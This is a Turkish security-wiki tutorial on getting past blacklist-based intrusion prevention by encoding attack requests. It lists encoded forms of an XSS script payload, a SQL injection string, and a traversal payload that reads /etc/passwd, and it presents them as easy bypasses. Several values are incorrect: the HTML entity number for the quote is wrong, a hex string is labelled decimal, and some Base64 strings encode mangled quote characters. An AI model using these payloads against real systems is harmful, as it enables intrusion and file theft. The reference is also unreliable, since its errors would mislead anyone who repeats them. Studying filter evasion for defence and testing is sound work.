Encoding Yöntemleri Kullanarak IPS Atlatma

BGA Security Wiki sitesinden
Şuraya atla: kullan, ara

Amaç:

Blacklist temelli kontrolleri atlatmak için kullanılabilecek bir diğer yöntem ise saldırı isteklerini kısmen veya tamamen sunucu tarafından desteklenen encoding yöntemleri ile değiştirerek yollamaktır.

Örneğin günümüzde kullanılan çoğu uygulamada web uygulama problemlerinin ortaya çıkmasına neden olan en büyük etken ', ", <, >, /, ;, |, \ gibi karakterlerdir. Sunucu tarafındaki IPS’ler üzerinde oluşturulan blacklistler ile bu karakterler engellenmek istensede encoding yöntemleri ile bu kısıtları aşmak oldukça kolay olacaktır.

Web uygulamalarında en çok can yakan '(tırnak) karakterinin farklı encoding yöntemleri ile gösterimi aşağıdaki gibidir.

URL Encode - %27
Double URL Encode - %2527
Unicode URL Encoding - %u0027
Base64 - Jw==
UTF-8 (2 byte) - %c0%a7
UTF-8 (JAVA) - \uc0a7
HTML Entity - '
HTML Entity Number - &#27;
Decimal - &#39

Örnek olarak www.bga.com/index.php?id=<script>alert(‘BGA’)</script> isteği doğrudan URL adresi ile istenirse aktif güvenlik cihazı bu isteği bloklayacaktır ve erişilmeyecektir. Ama aşağıdaki gibi encoding metotları ile bu kısıtı aşmak oldukça kolaydır.

URL Encode - %3Cscript%3Ealert%28%u2018BGA%u2019%29%3C/script%3E
Double URL Encode - %253Cscript%253Ealert%2528%25u2018BGA%25u2019%2529%253C/script%253E
Base64 - PHNjcmlwdD5hbGVydCgYQkdBGSk8L3NjcmlwdD4=
Decimal - 3c7363726970743e616c657274281842474119293c2f7363726970743e

Yine en çok kullanılan payloadlardan biri olan ‘or ‘1’=’1 ifadesinin çeşitli encoding yöntemleri aşağıdaki gibidir.

URL Encode - +%u2018or+%u20181%u2019%3D%u20191
Double URL Encode - %2B%25u2018or%2B%25u20181%25u2019%253D%25u20191
Base64 - IBhvciAYMRk9GTE=

En tehlikeli saldırılardan biri olan “local file inclusion” ya da “directory traversal” encoding yöntemleri ile rahatlıkla aşılabilir. IPS’ler genelde ‘..’ ve ‘../’ ifadesiyle karşılaştıkları zaman bunun bir saldırı olduğunu anlarlar ve ona göre davranırlar. Ama ../../../../../../../etc/passwd gibi bir payload encoding yöntemleri kullanılarak gönderilirse, istenilen sayfa elde edilecektir.

HEX - 2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f6574632f706173737764
Base64 - Li4vLi4vLi4vLi4vLi4vLi4vLi4vZXRjL3Bhc3N3ZA==